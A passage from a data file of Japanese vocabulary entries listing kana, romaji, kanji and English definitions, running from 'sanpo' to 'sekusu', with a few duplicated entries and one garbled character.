range\"\n\t},\n\n\t{\n\t\t'kana':'さんぽ',\n\t\t'romaji':'sanpo',\n\t\t'kanji':'散歩',\n\t\t'definition':\"walk;stroll\"\n\t},\n\n\t{\n\t\t'kana':'さんぷく',\n\t\t'romaji':'sanpuku',\n\t\t'kanji':'山腹',\n\t\t'definition':\"hillside;mountainside\"\n\t},\n\n\t{\n\t\t'kana':'サンプル',\n\t\t'romaji':'sanpuru',\n\t\t'kanji':'',\n\t\t'definition':\"sample\"\n\t},\n\n\t{\n\t\t'kana':'さんりん',\n\t\t'romaji':'sanrin',\n\t\t'kanji':'山林',\n\t\t'definition':\"mountain forest;mountains and forest\"\n\t},\n\n\t{\n\t\t'kana':'さんせい',\n\t\t'romaji':'sansei',\n\t\t'kanji':'酸性',\n\t\t'definition':\"acidity\"\n\t},\n\n\t{\n\t\t'kana':'さんせい',\n\t\t'romaji':'sansei',\n\t\t'kanji':'賛成',\n\t\t'definition':\"approval;agreement;support;favour\"\n\t},\n\n\t{\n\t\t'kana':'さんしょう',\n\t\t'romaji':'sanshou',\n\t\t'kanji':'参照',\n\t\t'definition':\"reference;consultation;consultation\"\n\t},\n\n\t{\n\t\t'kana':'さんしゅつ',\n\t\t'romaji':'sanshutsu',\n\t\t'kanji':'産出',\n\t\t'definition':\"yield;produce\"\n\t},\n\n\t{\n\t\t'kana':'さんそ',\n\t\t'romaji':'sanso',\n\t\t'kanji':'酸素',\n\t\t'definition':\"oxygen\"\n\t},\n\n\t{\n\t\t'kana':'さんすう',\n\t\t'romaji':'sansuu',\n\t\t'kanji':'算数',\n\t\t'definition':\"arithmetic\"\n\t},\n\n\t{\n\t\t'kana':'サンタクロース',\n\t\t'romaji':'santakuro-su',\n\t\t'kanji':'',\n\t\t'definition':\"Santa Claus\"\n\t},\n\n\t{\n\t\t'kana':'さお',\n\t\t'romaji':'sao',\n\t\t'kanji':'竿',\n\t\t'definition':\"rod;pole (e.g. for drying laundry)\"\n\t},\n\n\t{\n\t\t'kana':'さっぱり',\n\t\t'romaji':'sappari',\n\t\t'kanji':'',\n\t\t'definition':\"feeling refreshed;feeling relieved;neat;trimmed\"\n\t},\n\n\t{\n\t\t'kana':'さら',\n\t\t'romaji':'sara',\n\t\t'kanji':'皿',\n\t\t'definition':\"plate;dish\"\n\t},\n\n\t{\n\t\t'kana':'サラダ',\n\t\t'romaji':'sarada',\n\t\t'kanji':'',\n\t\t'definition':\"salad\"\n\t},\n\n\t{\n\t\t'kana':'さらいげつ',\n\t\t'romaji':'saraigetsu',\n\t\t'kanji':'再来月',\n\t\t'definition':\"month after next\"\n\t},\n\n\t{\n\t\t'kana':'さらいねん',\n\t\t'romaji':'sarainen',\n\t\t'kanji':'再来年',\n\t\t'definition':\"year after next\"\n\t},\n\n\t{\n\t\t'kana':'さらいしゅう',\n\t\t'romaji':'saraishuu',\n\t\t'kanji':'再来週',\n\t\t'definition':\"week after next\"\n\t},\n\n\t{\n\t\t'kana':'さらに',\n\t\t'romaji':'sarani',\n\t\t'kanji':'更に',\n\t\t'definition':\"furthermore;again;after all;more and more;moreover\"\n\t},\n\n\t{\n\t\t'kana':'サラリーマン',\n\t\t'romaji':'sarari-man',\n\t\t'kanji':'',\n\t\t'definition':\"salary man;company employee\"\n\t},\n\n\t{\n\t\t'kana':'さらう',\n\t\t'romaji':'sarau',\n\t\t'kanji':'拐う',\n\t\t'definition':\"to carry off;to run away with;to kidnap;to abduct\"\n\t},\n\n\t{\n\t\t'kana':'さる',\n\t\t'romaji':'saru',\n\t\t'kanji':'猿',\n\t\t'definition':\"monkey\"\n\t},\n\n\t{\n\t\t'kana':'さる',\n\t\t'romaji':'saru',\n\t\t'kanji':'去る',\n\t\t'definition':\"to leave;to go away\"\n\t},\n\n\t{\n\t\t'kana':'ささえる',\n\t\t'romaji':'sasaeru',\n\t\t'kanji':'支える',\n\t\t'definition':\"to support;to prop\"\n\t},\n\n\t{\n\t\t'kana':'ささげる',\n\t\t'romaji':'sasageru',\n\t\t'kanji':'捧げる',\n\t\t'definition':\"to lift up;to give;to offer;to consecrate;to devote;to sacrifice;to dedicate\"\n\t},\n\n\t{\n\t\t'kana':'ささる',\n\t\t'romaji':'sasaru',\n\t\t'kanji':'刺さる',\n\t\t'definition':\"to stick;to be stuck\"\n\t},\n\n\t{\n\t\t'kana':'ささやく',\n\t\t'romaji':'sasayaku',\n\t\t'kanji':'囁く',\n\t\t'definition':\"to whisper;to murmur\"\n\t},\n\n\t{\n\t\t'kana':'さしあげる',\n\t\t'romaji':'sashiageru',\n\t\t'kanji':'差し上げる',\n\t\t'definition':\"to give;to hold up;to lift up;to offer\"\n\t},\n\n\t{\n\t\t'kana':'さしだす',\n\t\t'romaji':'sashidasu',\n\t\t'kanji':'差し出す',\n\t\t'definition':\"to present;to submit;to tender;to hold out\"\n\t},\n\n\t{\n\t\t'kana':'さしひき',\n\t\t'romaji':'sashihiki',\n\t\t'kanji':'差し引き',\n\t\t'definition':\"deduction;subtraction;balance;ebb and flow;rise and fall\"\n\t},\n\n\t{\n\t\t'kana':'さしひく',\n\t\t'romaji':'sashihiku',\n\t\t'kanji':'差し引く',\n\t\t'definition':\"to deduct\"\n\t},\n\n\t{\n\t\t'kana':'さしかかる',\n\t\t'romaji':'sashikakaru',\n\t\t'kanji':'差し掛かる',\n\t\t'definition':\"to come near to;to approach\"\n\t},\n\n\t{\n\t\t'kana':'さしみ',\n\t\t'romaji':'sashimi',\n\t\t'kanji':'刺身',\n\t\t'definition':\"sliced raw fish\"\n\t},\n\n\t{\n\t\t'kana':'さしつかえ',\n\t\t'romaji':'sashitsukae',\n\t\t'kanji':'差し支え',\n\t\t'definition':\"hindrance;impediment\"\n\t},\n\n\t{\n\t\t'kana':'さしつかえる',\n\t\t'romaji':'sashitsukaeru',\n\t\t'kanji':'差し支える',\n\t\t'definition':\"to interfere;to hinder;to become impeded\"\n\t},\n\n\t{\n\t\t'kana':'さしず',\n\t\t'romaji':'sashizu',\n\t\t'kanji':'指図',\n\t\t'definition':\"instruction;mandate\"\n\t},\n\n\t{\n\t\t'kana':'さそう',\n\t\t'romaji':'sasou',\n\t\t'kanji':'誘う',\n\t\t'definition':\"to invite;to call out\"\n\t},\n\n\t{\n\t\t'kana':'さっさと',\n\t\t'romaji':'sassato',\n\t\t'kanji':'',\n\t\t'definition':\"quickly\"\n\t},\n\n\t{\n\t\t'kana':'さっそく',\n\t\t'romaji':'sassoku',\n\t\t'kanji':'早速',\n\t\t'definition':\"at once;immediately;without delay;promptly\"\n\t},\n\n\t{\n\t\t'kana':'さっする',\n\t\t'romaji':'sassuru',\n\t\t'kanji':'察する',\n\t\t'definition':\"to guess;to sense;to presume;to judge;to sympathize with\"\n\t},\n\n\t{\n\t\t'kana':'さす',\n\t\t'romaji':'sasu',\n\t\t'kanji':'射す',\n\t\t'definition':\"to shine;to strike\"\n\t},\n\n\t{\n\t\t'kana':'さす',\n\t\t'romaji':'sasu',\n\t\t'kanji':'注す',\n\t\t'definition':\"to pour (drink);to serve (drinks)\"\n\t},\n\n\t{\n\t\t'kana':'さす',\n\t\t'romaji':'sasu',\n\t\t'kanji':'指す',\n\t\t'definition':\"to point;to put up umbrella;to play\"\n\t},\n\n\t{\n\t\t'kana':'さす',\n\t\t'romaji':'sasu',\n\t\t'kanji':'差す',\n\t\t'definition':\"to raise (stretch out) hands;to raise umbrella\"\n\t},\n\n\t{\n\t\t'kana':'さす',\n\t\t'romaji':'sasu',\n\t\t'kanji':'刺す',\n\t\t'definition':\"to pierce;to stab;to prick;to thrust;to bite;to sting;to pin down;to stitch;to put (a runner) out;to pole (a boat);to catch (with a line);to stick\"\n\t},\n\n\t{\n\t\t'kana':'さす',\n\t\t'romaji':'sasu',\n\t\t'kanji':'差す',\n\t\t'definition':\"to raise (stretch out) hands;to raise umbrella\"\n\t},\n\n\t{\n\t\t'kana':'さすが',\n\t\t'romaji':'sasuga',\n\t\t'kanji':'流石',\n\t\t'definition':\"clever;adept;good;expectations;as one would expect\"\n\t},\n\n\t{\n\t\t'kana':'さて',\n\t\t'romaji':'sate',\n\t\t'kanji':'偖',\n\t\t'definition':\"well;now;then\"\n\t},\n\n\t{\n\t\t'kana':'さっと',\n\t\t'romaji':'sato',\n\t\t'kanji':'',\n\t\t'definition':\"quickly;suddenly\"\n\t},\n\n\t{\n\t\t'kana':'さとる',\n\t\t'romaji':'satoru',\n\t\t'kanji':'悟る',\n\t\t'definition':\"to attain enlightenment;to perceive;to understand;to discern\"\n\t},\n\n\t{\n\t\t'kana':'さとう',\n\t\t'romaji':'satou',\n\t\t'kanji':'砂糖',\n\t\t'definition':\"sugar\"\n\t},\n\n\t{\n\t\t'kana':'さつ',\n\t\t'romaji':'satsu',\n\t\t'kanji':'冊',\n\t\t'definition':\"counter for books\"\n\t},\n\n\t{\n\t\t'kana':'さつ',\n\t\t'romaji':'satsu',\n\t\t'kanji':'札',\n\t\t'definition':\"note;paper money\"\n\t},\n\n\t{\n\t\t'kana':'さつ',\n\t\t'romaji':'satsu',\n\t\t'kanji':'札',\n\t\t'definition':\"note;paper money\"\n\t},\n\n\t{\n\t\t'kana':'さつえい',\n\t\t'romaji':'satsuei',\n\t\t'kanji':'撮影',\n\t\t'definition':\"photographing\"\n\t},\n\n\t{\n\t\t'kana':'さつじん',\n\t\t'romaji':'satsujin',\n\t\t'kanji':'殺人',\n\t\t'definition':\"murder\"\n\t},\n\n\t{\n\t\t'kana':'さわがしい',\n\t\t'romaji':'sawagashii',\n\t\t'kanji':'騒がしい',\n\t\t'definition':\"noisy\"\n\t},\n\n\t{\n\t\t'kana':'さわぎ',\n\t\t'romaji':'sawagi',\n\t\t'kanji':'騒ぎ',\n\t\t'definition':\"uproar;disturbance\"\n\t},\n\n\t{\n\t\t'kana':'さわる',\n\t\t'romaji':'sawaru',\n\t\t'kanji':'触る',\n\t\t'definition':\"to touch;to feel\"\n\t},\n\n\t{\n\t\t'kana':'さわる',\n\t\t'romaji':'sawaru',\n\t\t'kanji':'障る',\n\t\t'definition':\"to hinder;to interfere with;to affect;to do one harm;to be harmful to\"\n\t},\n\n\t{\n\t\t'kana':'さわやか',\n\t\t'romaji':'sawayaka',\n\t\t'kanji':'爽やか',\n\t\t'definition':\"fresh;refreshing;invigorating;clear;fluent;eloquent\"\n\t},\n\n\t{\n\t\t'kana':'さよう',\n\t\t'romaji':'sayou',\n\t\t'kanji':'作用',\n\t\t'definition':\"action;operation;effect;function\"\n\t},\n\n\t{\n\t\t'kana':'さようなら',\n\t\t'romaji':'sayounara',\n\t\t'kanji':'左様なら',\n\t\t'definition':\"good-bye\"\n\t},\n\n\t{\n\t\t'kana':'さゆう',\n\t\t'romaji':'sayuu',\n\t\t'kanji':'左右',\n\t\t'definition':\"influence;control;domination;left and right\"\n\t},\n\n\t{\n\t\t'kana':'さぞ',\n\t\t'romaji':'sazo',\n\t\t'kanji':'嘸',\n\t\t'definition':\"I am sure;certainly;no doubt\"\n\t},\n\n\t{\n\t\t'kana':'さずける',\n\t\t'romaji':'sazukeru',\n\t\t'kanji':'授ける',\n\t\t'definition':\"to grant;to award;to teach\"\n\t},\n\n\t{\n\t\t'kana':'せびろ',\n\t\t'romaji':'sebiro',\n\t\t'kanji':'背広',\n\t\t'definition':\"business suit\"\n\t},\n\n\t{\n\t\t'kana':'せっち',\n\t\t'romaji':'sechi',\n\t\t'kanji':'設置',\n\t\t'definition':\"establishment;institution\"\n\t},\n\n\t{\n\t\t'kana':'せっちゅう',\n\t\t'romaji':'sechuu',\n\t\t'kanji':'折衷',\n\t\t'definition':\"compromise;cross;blending;eclecticism\"\n\t},\n\n\t{\n\t\t'kana':'せだい',\n\t\t'romaji':'sedai',\n\t\t'kanji':'世代',\n\t\t'definition':\"generation;the world;the age\"\n\t},\n\n\t{\n\t\t'kana':'せがれ',\n\t\t'romaji':'segare',\n\t\t'kanji':'伜',\n\t\t'definition':\"son;my son\"\n\t},\n\n\t{\n\t\t'kana':'せい',\n\t\t'romaji':'sei',\n\t\t'kanji':'製',\n\t\t'definition':\"-made;make\"\n\t},\n\n\t{\n\t\t'kana':'せい',\n\t\t'romaji':'sei',\n\t\t'kanji':'制',\n\t\t'definition':\"system;organization;imperial command;laws;regulation;control;government;suppression;restraint;holding back;establishment\"\n\t},\n\n\t{\n\t\t'kana':'せい',\n\t\t'romaji':'sei',\n\t\t'kanji':'背',\n\t\t'definition':\"height;stature\"\n\t},\n\n\t{\n\t\t'kana':'せい',\n\t\t'romaji':'sei',\n\t\t'kanji':'姓',\n\t\t'definition':\"surname;family name\"\n\t},\n\n\t{\n\t\t'kana':'せい',\n\t\t'romaji':'sei',\n\t\t'kanji':'正',\n\t\t'definition':\"(logical) true;regular\"\n\t},\n\n\t{\n\t\t'kana':'せいべつ',\n\t\t'romaji':'seibetsu',\n\t\t'kanji':'性別',\n\t\t'definition':\"distinction by sex;sex;gender\"\n\t},\n\n\t{\n\t\t'kana':'せいび',\n\t\t'romaji':'seibi',\n\t\t'kanji':'整備',\n\t\t'definition':\"adjustment;completion;consolidation\"\n\t},\n\n\t{\n\t\t'kana':'せいぶん',\n\t\t'romaji':'seibun',\n\t\t'kanji':'成分',\n\t\t'definition':\"ingredient;component;composition\"\n\t},\n\n\t{\n\t\t'kana':'せいぶつ',\n\t\t'romaji':'seibutsu',\n\t\t'kanji':'生物',\n\t\t'definition':\"living things;creature\"\n\t},\n\n\t{\n\t\t'kana':'せいちょう',\n\t\t'romaji':'seichou',\n\t\t'kanji':'成長',\n\t\t'definition':\"growth;grow to adulthood\"\n\t},\n\n\t{\n\t\t'kana':'せいだい',\n\t\t'romaji':'seidai',\n\t\t'kanji':'盛大',\n\t\t'definition':\"grand;prosperous;magnificent\"\n\t},\n\n\t{\n\t\t'kana':'せいだく',\n\t\t'romaji':'seidaku',\n\t\t'kanji':'清濁',\n\t\t'definition':\"good and evil;purity and impurity\"\n\t},\n\n\t{\n\t\t'kana':'せいど',\n\t\t'romaji':'seido',\n\t\t'kanji':'制度',\n\t\t'definition':\"system;institution;organization\"\n\t},\n\n\t{\n\t\t'kana':'せいふ',\n\t\t'romaji':'seifu',\n\t\t'kanji':'政府',\n\t\t'definition':\"government;administration\"\n\t},\n\n\t{\n\t\t'kana':'せいふく',\n\t\t'romaji':'seifuku',\n\t\t'kanji':'征服',\n\t\t'definition':\"conquest;subjugation;overcoming\"\n\t},\n\n\t{\n\t\t'kana':'せいふく',\n\t\t'romaji':'seifuku',\n\t\t'kanji':'制服',\n\t\t'definition':\"uniform\"\n\t},\n\n\t{\n\t\t'kana':'せいげん',\n\t\t'romaji':'seigen',\n\t\t'kanji':'制限',\n\t\t'definition':\"restriction;restraint;limitation\"\n\t},\n\n\t{\n\t\t'kana':'せいぎ',\n\t\t'romaji':'seigi',\n\t\t'kanji':'正義',\n\t\t'definition':\"justice;right;righteousness;correct meaning\"\n\t},\n\n\t{\n\t\t'kana':'せいひん',\n\t\t'romaji':'seihin',\n\t\t'kanji':'製品',\n\t\t'definition':\"manufactured goods;finished goods\"\n\t},\n\n\t{\n\t\t'kana':'せいほう',\n\t\t'romaji':'seihou',\n\t\t'kanji':'製法',\n\t\t'definition':\"manufacturing method;recipe;formula\"\n\t},\n\n\t{\n\t\t'kana':'せいほうけい',\n\t\t'romaji':'seihoukei',\n\t\t'kanji':'正方形',\n\t\t'definition':\"square\"\n\t},\n\n\t{\n\t\t'kana':'せいいく',\n\t\t'romaji':'seiiku',\n\t\t'kanji':'生育',\n\t\t'definition':\"growth;development;breeding\"\n\t},\n\n\t{\n\t\t'kana':'せいじ',\n\t\t'romaji':'seiji',\n\t\t'kanji':'政治',\n\t\t'definition':\"politics;government\"\n\t},\n\n\t{\n\t\t'kana':'せいじん',\n\t\t'romaji':'seijin',\n\t\t'kanji':'成人',\n\t\t'definition':\"adult\"\n\t},\n\n\t{\n\t\t'kana':'せいじつ',\n\t\t'romaji':'seijitsu',\n\t\t'kanji':'誠実',\n\t\t'definition':\"sincere;honest;faithful\"\n\t},\n\n\t{\n\t\t'kana':'せいじょう',\n\t\t'romaji':'seijyou',\n\t\t'kanji':'正常',\n\t\t'definition':\"normalcy;normality;normal\"\n\t},\n\n\t{\n\t\t'kana':'せいじゅく',\n\t\t'romaji':'seijyuku',\n\t\t'kanji':'成熟',\n\t\t'definition':\"maturity;ripeness\"\n\t},\n\n\t{\n\t\t'kana':'せいじ���ん',\n\t\t'romaji':'seijyun',\n\t\t'kanji':'清純',\n\t\t'definition':\"purity;innocence\"\n\t},\n\n\t{\n\t\t'kana':'せいか',\n\t\t'romaji':'seika',\n\t\t'kanji':'成果',\n\t\t'definition':\"results;fruits\"\n\t},\n\n\t{\n\t\t'kana':'せいかい',\n\t\t'romaji':'seikai',\n\t\t'kanji':'正解',\n\t\t'definition':\"correct;right;correct interpretation (answer solution)\"\n\t},\n\n\t{\n\t\t'kana':'せいかく',\n\t\t'romaji':'seikaku',\n\t\t'kanji':'正確',\n\t\t'definition':\"accurate;punctuality;exactness;authenticity;veracity\"\n\t},\n\n\t{\n\t\t'kana':'せいかく',\n\t\t'romaji':'seikaku',\n\t\t'kanji':'性格',\n\t\t'definition':\"character;personality\"\n\t},\n\n\t{\n\t\t'kana':'せいかつ',\n\t\t'romaji':'seikatsu',\n\t\t'kanji':'生活',\n\t\t'definition':\"living;life (one's daily existence);livelihood\"\n\t},\n\n\t{\n\t\t'kana':'せいけい',\n\t\t'romaji':'seikei',\n\t\t'kanji':'生計',\n\t\t'definition':\"livelihood;living\"\n\t},\n\n\t{\n\t\t'kana':'せいけん',\n\t\t'romaji':'seiken',\n\t\t'kanji':'政権',\n\t\t'definition':\"administration;political power\"\n\t},\n\n\t{\n\t\t'kana':'せいけつ',\n\t\t'romaji':'seiketsu',\n\t\t'kanji':'清潔',\n\t\t'definition':\"clean\"\n\t},\n\n\t{\n\t\t'kana':'せいき',\n\t\t'romaji':'seiki',\n\t\t'kanji':'世紀',\n\t\t'definition':\"century;era\"\n\t},\n\n\t{\n\t\t'kana':'せいき',\n\t\t'romaji':'seiki',\n\t\t'kanji':'正規',\n\t\t'definition':\"regular;legal;formal;established;legitimate\"\n\t},\n\n\t{\n\t\t'kana':'せいこう',\n\t\t'romaji':'seikou',\n\t\t'kanji':'成功',\n\t\t'definition':\"success;hit\"\n\t},\n\n\t{\n\t\t'kana':'せいこう',\n\t\t'romaji':'seikou',\n\t\t'kanji':'精巧',\n\t\t'definition':\"elaborate;delicate;exquisite\"\n\t},\n\n\t{\n\t\t'kana':'せいきゅう',\n\t\t'romaji':'seikyuu',\n\t\t'kanji':'請求',\n\t\t'definition':\"claim;demand;application;request\"\n\t},\n\n\t{\n\t\t'kana':'せいめい',\n\t\t'romaji':'seimei',\n\t\t'kanji':'生命',\n\t\t'definition':\"life;existence\"\n\t},\n\n\t{\n\t\t'kana':'せいめい',\n\t\t'romaji':'seimei',\n\t\t'kanji':'姓名',\n\t\t'definition':\"full name\"\n\t},\n\n\t{\n\t\t'kana':'せいめい',\n\t\t'romaji':'seimei',\n\t\t'kanji':'声明',\n\t\t'definition':\"declaration;statement;proclamation\"\n\t},\n\n\t{\n\t\t'kana':'せいみつ',\n\t\t'romaji':'seimitsu',\n\t\t'kanji':'精密',\n\t\t'definition':\"precise;exact;detailed;minute;close\"\n\t},\n\n\t{\n\t\t'kana':'せいもん',\n\t\t'romaji':'seimon',\n\t\t'kanji':'正門',\n\t\t'definition':\"main gate;main entrance\"\n\t},\n\n\t{\n\t\t'kana':'せいねん',\n\t\t'romaji':'seinen',\n\t\t'kanji':'青年',\n\t\t'definition':\"youth;young man\"\n\t},\n\n\t{\n\t\t'kana':'せいねん',\n\t\t'romaji':'seinen',\n\t\t'kanji':'成年',\n\t\t'definition':\"majority;adult age\"\n\t},\n\n\t{\n\t\t'kana':'せいねんがっぴ',\n\t\t'romaji':'seinengapi',\n\t\t'kanji':'生年月日',\n\t\t'definition':\"birth date\"\n\t},\n\n\t{\n\t\t'kana':'せいのう',\n\t\t'romaji':'seinou',\n\t\t'kanji':'性能',\n\t\t'definition':\"ability;efficiency\"\n\t},\n\n\t{\n\t\t'kana':'せいれき',\n\t\t'romaji':'seireki',\n\t\t'kanji':'西暦',\n\t\t'definition':\"Christian Era;anno domini (A.D.)\"\n\t},\n\n\t{\n\t\t'kana':'せいれつ',\n\t\t'romaji':'seiretsu',\n\t\t'kanji':'整列',\n\t\t'definition':\"stand in a row;form a line\"\n\t},\n\n\t{\n\t\t'kana':'せいり',\n\t\t'romaji':'seiri',\n\t\t'kanji':'整理',\n\t\t'definition':\"sorting;arrangement;adjustment;regulation\"\n\t},\n\n\t{\n\t\t'kana':'せいり',\n\t\t'romaji':'seiri',\n\t\t'kanji':'生理',\n\t\t'definition':\"physiology;menses\"\n\t},\n\n\t{\n\t\t'kana':'せいりつ',\n\t\t'romaji':'seiritsu',\n\t\t'kanji':'成立',\n\t\t'definition':\"coming into existence;arrangements;establishment;completion\"\n\t},\n\n\t{\n\t\t'kana':'せいりょく',\n\t\t'romaji':'seiryoku',\n\t\t'kanji':'勢力',\n\t\t'definition':\"influence;power;might;strength;potency;force;energy\"\n\t},\n\n\t{\n\t\t'kana':'せいさい',\n\t\t'romaji':'seisai',\n\t\t'kanji':'制裁',\n\t\t'definition':\"restraint;sanctions;punishment\"\n\t},\n\n\t{\n\t\t'kana':'せいさく',\n\t\t'romaji':'seisaku',\n\t\t'kanji':'製作',\n\t\t'definition':\"manufacture;production\"\n\t},\n\n\t{\n\t\t'kana':'せいさく',\n\t\t'romaji':'seisaku',\n\t\t'kanji':'政策',\n\t\t'definition':\"political measures;policy\"\n\t},\n\n\t{\n\t\t'kana':'せいさん',\n\t\t'romaji':'seisan',\n\t\t'kanji':'生産',\n\t\t'definition':\"production;manufacture\"\n\t},\n\n\t{\n\t\t'kana':'せいさん',\n\t\t'romaji':'seisan',\n\t\t'kanji':'清算',\n\t\t'definition':\"liquidation;settlement\"\n\t},\n\n\t{\n\t\t'kana':'せいせき',\n\t\t'romaji':'seiseki',\n\t\t'kanji':'成績',\n\t\t'definition':\"results;record\"\n\t},\n\n\t{\n\t\t'kana':'せいし',\n\t\t'romaji':'seishi',\n\t\t'kanji':'静止',\n\t\t'definition':\"stillness;repose;standing still\"\n\t},\n\n\t{\n\t\t'kana':'せいし',\n\t\t'romaji':'seishi',\n\t\t'kanji':'生死',\n\t\t'definition':\"life and death\"\n\t},\n\n\t{\n\t\t'kana':'せいしき',\n\t\t'romaji':'seishiki',\n\t\t'kanji':'正式',\n\t\t'definition':\"due form;official;formality\"\n\t},\n\n\t{\n\t\t'kana':'せいしん',\n\t\t'romaji':'seishin',\n\t\t'kanji':'精神',\n\t\t'definition':\"mind;soul;heart;spirit;intention\"\n\t},\n\n\t{\n\t\t'kana':'せいしつ',\n\t\t'romaji':'seishitsu',\n\t\t'kanji':'性質',\n\t\t'definition':\"nature;property;disposition\"\n\t},\n\n\t{\n\t\t'kana':'せいしょ',\n\t\t'romaji':'seisho',\n\t\t'kanji':'清書',\n\t\t'definition':\"clean copy\"\n\t},\n\n\t{\n\t\t'kana':'せいしょ',\n\t\t'romaji':'seisho',\n\t\t'kanji':'聖書',\n\t\t'definition':\"Bible;scriptures\"\n\t},\n\n\t{\n\t\t'kana':'せいしょうねん',\n\t\t'romaji':'seishounen',\n\t\t'kanji':'青少年',\n\t\t'definition':\"youth;young person\"\n\t},\n\n\t{\n\t\t'kana':'せいしゅん',\n\t\t'romaji':'seishun',\n\t\t'kanji':'青春',\n\t\t'definition':\"youth;springtime of life;adolescent\"\n\t},\n\n\t{\n\t\t'kana':'せいそう',\n\t\t'romaji':'seisou',\n\t\t'kanji':'清掃',\n\t\t'definition':\"cleaning\"\n\t},\n\n\t{\n\t\t'kana':'せいそう',\n\t\t'romaji':'seisou',\n\t\t'kanji':'盛装',\n\t\t'definition':\"be dressed up;wear rich clothes\"\n\t},\n\n\t{\n\t\t'kana':'せいする',\n\t\t'romaji':'seisuru',\n\t\t'kanji':'制する',\n\t\t'definition':\"to control;to command;to get the better of\"\n\t},\n\n\t{\n\t\t'kana':'せいすう',\n\t\t'romaji':'seisuu',\n\t\t'kanji':'整数',\n\t\t'definition':\"integer\"\n\t},\n\n\t{\n\t\t'kana':'せいてい',\n\t\t'romaji':'seitei',\n\t\t'kanji':'制定',\n\t\t'definition':\"enactment;establishment;creation\"\n\t},\n\n\t{\n\t\t'kana':'せいてき',\n\t\t'romaji':'seiteki',\n\t\t'kanji':'静的',\n\t\t'definition':\"static\"\n\t},\n\n\t{\n\t\t'kana':'せいてん',\n\t\t'romaji':'seiten',\n\t\t'kanji':'晴天',\n\t\t'definition':\"fine weather\"\n\t},\n\n\t{\n\t\t'kana':'せいてつ',\n\t\t'romaji':'seitetsu',\n\t\t'kanji':'製鉄',\n\t\t'definition':\"iron manufacture\"\n\t},\n\n\t{\n\t\t'kana':'せいと',\n\t\t'romaji':'seito',\n\t\t'kanji':'生徒',\n\t\t'definition':\"pupil\"\n\t},\n\n\t{\n\t\t'kana':'せいとう',\n\t\t'romaji':'seitou',\n\t\t'kanji':'政党',\n\t\t'definition':\"(member of) political party\"\n\t},\n\n\t{\n\t\t'kana':'せいとう',\n\t\t'romaji':'seitou',\n\t\t'kanji':'正当',\n\t\t'definition':\"just;justifiable;right;due;proper;equitable;reasonable;legitimate;lawful\"\n\t},\n\n\t{\n\t\t'kana':'せいやく',\n\t\t'romaji':'seiyaku',\n\t\t'kanji':'制約',\n\t\t'definition':\"limitation;restriction;condition;constraints\"\n\t},\n\n\t{\n\t\t'kana':'せいよう',\n\t\t'romaji':'seiyou',\n\t\t'kanji':'西洋',\n\t\t'definition':\"the west;Western countries\"\n\t},\n\n\t{\n\t\t'kana':'せいざ',\n\t\t'romaji':'seiza',\n\t\t'kanji':'星座',\n\t\t'definition':\"constellation\"\n\t},\n\n\t{\n\t\t'kana':'せいぜい',\n\t\t'romaji':'seizei',\n\t\t'kanji':'精々',\n\t\t'definition':\"at the most;at best;to the utmost;as much (far) as possible\"\n\t},\n\n\t{\n\t\t'kana':'せいぜん',\n\t\t'romaji':'seizen',\n\t\t'kanji':'整然',\n\t\t'definition':\"orderly;regular;well-organized;trim;accurate\"\n\t},\n\n\t{\n\t\t'kana':'せいぞん',\n\t\t'romaji':'seizon',\n\t\t'kanji':'生存',\n\t\t'definition':\"existence;being;survival\"\n\t},\n\n\t{\n\t\t'kana':'せいぞう',\n\t\t'romaji':'seizou',\n\t\t'kanji':'製造',\n\t\t'definition':\"manufacture;production\"\n\t},\n\n\t{\n\t\t'kana':'せじ',\n\t\t'romaji':'seji',\n\t\t'kanji':'世辞',\n\t\t'definition':\"flattery;compliment\"\n\t},\n\n\t{\n\t\t'kana':'せかい',\n\t\t'romaji':'sekai',\n\t\t'kanji':'世界',\n\t\t'definition':\"the world;society;the universe\"\n\t},\n\n\t{\n\t\t'kana':'せかす',\n\t\t'romaji':'sekasu',\n\t\t'kanji':'急かす',\n\t\t'definition':\"to hurry;to urge on\"\n\t},\n\n\t{\n\t\t'kana':'せけん',\n\t\t'romaji':'seken',\n\t\t'kanji':'世間',\n\t\t'definition':\"world;society\"\n\t},\n\n\t{\n\t\t'kana':'せき',\n\t\t'romaji':'seki',\n\t\t'kanji':'咳',\n\t\t'definition':\"cough\"\n\t},\n\n\t{\n\t\t'kana':'せき',\n\t\t'romaji':'seki',\n\t\t'kanji':'咳',\n\t\t'definition':\"cough\"\n\t},\n\n\t{\n\t\t'kana':'せき',\n\t\t'romaji':'seki',\n\t\t'kanji':'席',\n\t\t'definition':\"seat\"\n\t},\n\n\t{\n\t\t'kana':'せきどう',\n\t\t'romaji':'sekidou',\n\t\t'kanji':'赤道',\n\t\t'definition':\"equator\"\n\t},\n\n\t{\n\t\t'kana':'せきむ',\n\t\t'romaji':'sekimu',\n\t\t'kanji':'責務',\n\t\t'definition':\"duty;obligation\"\n\t},\n\n\t{\n\t\t'kana':'せきにん',\n\t\t'romaji':'sekinin',\n\t\t'kanji':'責任',\n\t\t'definition':\"duty;responsibility\"\n\t},\n\n\t{\n\t\t'kana':'せきたん',\n\t\t'romaji':'sekitan',\n\t\t'kanji':'石炭',\n\t\t'definition':\"coal\"\n\t},\n\n\t{\n\t\t'kana':'せきゆ',\n\t\t'romaji':'sekiyu',\n\t\t'kanji':'石油',\n\t\t'definition':\"oil;petroleum;kerosene\"\n\t},\n\n\t{\n\t\t'kana':'せっかい',\n\t\t'romaji':'sekkai',\n\t\t'kanji':'切開',\n\t\t'definition':\"clearing (land);opening up;cutting through\"\n\t},\n\n\t{\n\t\t'kana':'せっかく',\n\t\t'romaji':'sekkaku',\n\t\t'kanji':'折角',\n\t\t'definition':\"with trouble;at great pains;long-awaited\"\n\t},\n\n\t{\n\t\t'kana':'せっけい',\n\t\t'romaji':'sekkei',\n\t\t'kanji':'設計',\n\t\t'definition':\"plan;design\"\n\t},\n\n\t{\n\t\t'kana':'せっけん',\n\t\t'romaji':'sekken',\n\t\t'kanji':'石鹸',\n\t\t'definition':\"soap\"\n\t},\n\n\t{\n\t\t'kana':'せっきん',\n\t\t'romaji':'sekkin',\n\t\t'kanji':'接近',\n\t\t'definition':\"getting closer;drawing nearer;approaching\"\n\t},\n\n\t{\n\t\t'kana':'セックス',\n\t\t'romaji':'sekusu',\n\t\t'kanji':'',\n\t\t'definition':\"sexual 